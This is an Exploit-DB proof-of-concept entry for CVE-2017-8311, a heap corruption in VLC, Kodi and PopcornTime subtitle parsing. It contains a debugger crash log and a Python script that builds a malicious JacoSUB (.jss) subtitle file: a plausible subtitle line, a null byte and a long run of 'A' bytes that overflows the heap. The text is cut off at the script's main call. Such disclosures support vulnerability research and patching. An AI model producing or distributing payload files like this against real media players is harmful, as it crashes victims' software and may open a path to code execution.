VLC Media Player/Kodi/PopcornTime 'Red Chimera' < 2.2.5 - Memory Corruption (PoC)

EDB-ID: 44514
Author: SivertPL
Published: 2018-04-24
CVE: CVE-2017-8311
Type: Dos
Platform: Windows
Aliases: N/A
Advisory/Source: N/A
Tags: Denial of Service (DoS)
Vulnerable App: Download Vulnerable Application

 VLC Media Player/Kodi/PopcornTime 'Red Chimera' < 2.2.5 Memory Corruption (PoC) 
Author: SivertPL ([email protected])
CVE: CVE-2017-8311

Infamous VLC/Kodi/PopcornTime subtitle attack in libsubtitle_plugin.dll.
This is the Proof of Concept of the reverse engineered heap corruption vulnerability affecting JacoSUB parsing in VLC/Kodi/PopcornTime.
The crash is exploitable, but hard to exploit because of various environmental constraints such as threading/mitigations/scriptless.
I want to join a research team.

ModLoad: 00000000`71660000 00000000`716a2000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll
ModLoad: 00000000`71630000 00000000`71651000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libavi_plugin.dll
ModLoad: 00000000`71610000 00000000`7162e000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libasf_plugin.dll
ModLoad: 00000000`71600000 00000000`7160d000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_cdg_plugin.dll
ModLoad: 00000000`715e0000 00000000`715fd000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll
ModLoad: 00000000`715d0000 00000000`715de000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_stl_plugin.dll
ModLoad: 00000000`715b0000 00000000`715cf000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll
core demux error: option sub-original-fps does not exist
(33c.d10): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll -
715b44de 881f mov byte ptr [edi],bl ds:002b:1b9fb000=??
0:012:x86> g
(33c.d10): Access violation - code c0000005 (!!! second chance !!!)
00000000`754ac9f1 654c8b1c2530000000 mov r11,qword ptr gs:[30h] gs:00000000`00000030=????????????????

import os
import struct
import sys
import argparse

len = 1025

def main(argv):
parser = argparse.ArgumentParser()
parser.add_argument("filename", help="Name of the movie file w/o extension, for generating payload")
parser.add_argument("--length", help="Heap overwrite length (default 1025, may be bigger)", type=int)
args = parser.parse_args()
if args.length:
global len
len = args.length
print "[+] Generating file %s.jss with overwrite size of %d" % (args.filename, len)
write(args.filename, len)

def write(name, len):
subtitles = open("%s.jss" % name, "w+")
subtitles.write("0:00:02.00 0:00:04.00 VL red chimera..\n")
subtitles.write("0:00:04.00 0:00:05.00 vm attack")
subtitles.write(struct.pack('B', 0))
subtitles.write('A' * len)
print "[+] Done!"

if __name__ == "__main__":

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